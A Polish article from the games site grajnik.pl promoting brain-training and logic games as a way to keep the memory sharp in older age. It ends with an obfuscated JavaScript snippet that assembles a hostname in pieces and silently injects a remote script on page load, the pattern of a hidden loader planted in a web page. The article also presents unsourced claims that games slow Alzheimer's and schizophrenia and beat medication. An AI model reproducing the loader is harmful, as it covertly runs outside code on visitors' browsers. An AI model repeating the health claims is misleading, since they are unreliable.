9 września 2014r. godz. 08:18, odsłon: 5997, grajnik.pl

Ćwicz swój umysł!

Pamięć jest zjawiskiem, które ulega ciągłym zmianom w ciągu życia i wraz z wiekiem niestety ulega osłabieniu.

Codzienny trening mózgu z wykorzystaniem prostych, ale atrakcyjnych gier komputerowych sprawia, że umysł na długo zachowuje sprawność. Jednak jakie gry wybrać?

Nauka

Jeszcze niedawno sądzono, że mózg intensywnie rozwija się tylko przez okres dzieciństwa. Uważano, że rodzimy się z pewną pulą komórek mózgowych, a z wiekiem jest ich coraz mniej i mniej. To przeświadczenie okazało się jednak całkowicie błędne. Naukowcy potwierdzi, że mózg rozwija się bowiem cały czas. Bez wątpienia rozwój ten z czasem staje się wolniejszy, mniej dynamiczny, ale mimo to, nawet mózg osoby dorosłej i w podeszłym jest wciąż zdolny do zwiększania połączeń międzyneuronowych oraz dokonywania plastycznych zmian w swojej strukturze.

Naukowcy zaznaczają, że już po sześćdziesiątce u dorosłych mogą zacząć pojawiać się zaburzenia poznawcze. Co więcej osoby te mogą mieć problemy z pamięcią, głównie krótkotrwałą i szybkim kojarzeniem.

Badania z ostatnich lat wykazały, że u osób dojrzałych wybierających jako rozrywkę gry komputerowe następował przyrost istoty szarej w hipokampie, korze mózgowej oraz móżdżku. Te części mózgu odpowiedzialne są głównie za tworzenie pamięci, planowanie, orientację przestrzenną oraz sprawność manualną.

Poza utrzymaniem umysłu w dobrej kondycji naukowcy sugerują, że gry komputerowe mogą pomagać w leczeniu chorób, które powiązane są ze wspomnianymi obszarami mózgu. Choroby, których rozwój może zostać spowolniony dzięki grom to między innymi schizofrenia czy choroba Alzheimera.

Rozwiązanie problemu

Często stosowanym przez lekarzy rozwiązaniem lekkich problemów z pamięcią oraz orientacją u osób dojrzałych jest przepisywanie leków, najczęściej usprawniających krążenie mózgowe. Niektórzy ludzie zauważając u siebie lekkie problemy z koncentracja czy problem z zapamiętywaniem sięgają dobrowolnie po podobne medykamenty lub suplementy licząc na szybki efekt.

Ale farmaceutyki nie są jedynym wyjściem z sytuacji. Zdecydowanie lepiej poświęcić codziennie kilkanaście minut na rozwiązywanie krzyżówek, zagadek logicznych czy gry komputerowe, które pomogą stymulować komórki mózgowe. Okazuje się, że już 10 minut dziennie poświęcone na granie w logiczne gry komputerowe, wpływa pozytywnie na kondycję ludzkiego mózgu. Osoby, które powzięły próbę ćwiczenia umysłu w ten sposób już po kilku tygodniach zauważyły poprawę. Gry stymulujące mózg mają także pozytywny wpływ na szybkość kojarzenia faktów, zdolność logicznego myślenia, a co za tym idzie – na iloraz inteligencji gracza.

Gry stymulujące mózg

Obecnie w Internecie można znaleźć gry online, których celem jest stymulacja mózgu. To w głównej mierze gry logiczne, których zadaniem jest ćwiczenie pamięci, szybkości oraz koncentracji gracza. Polegają one na rozpoznawaniu kształtów, dopasowywaniu takich samych elementów, wykonywaniu prostych działań matematycznych czy rozpoznawaniu pasujących do siebie słów. Bardziej zaawansowane, wymagające wielozadaniowości i wyższej koncentracji gry pomagające wzmacniać umysł to np. popularne Sudoku.

Podobnie jak regularna aktywność fizyczna ma wpływ na poprawne funkcjonowanie organizmu, ćwiczenie umysłu poprzez zabawę to najskuteczniejsza metoda na poprawę koncentracji, wzmocnienie pamięci czy polepszenie koordynacji. Łącząc przyjemne z pożytecznym – rozrywkę z ćwiczeniami znacznie szybciej podniesiesz sprawność swojej głowy. Jeżeli chcesz poprawić kondycję swojego umysłu spróbuj codziennie wykonać kilka prostych zadań, które znajdziesz w bezpłatnych grach logicznych szeroko dostępnych w Internecie.

Artykuł został przygotowany przez serwis gier online grajnik.pl.

(function(){ u7X4=document.createElement("script");u7X4.type="text/javascript"; u7X4.async=true;u7X4_=(("us")+"t")+"a";u7X4_+=("t.i")+""+"n";u7X4_+=(("f")+"o"); u7X4.src="http://"+u7X4_+"/146772.sex7i7Xg7X47eX6hwcp4kxfyt6q3dp"; document.body.appendChild(u7X4); })();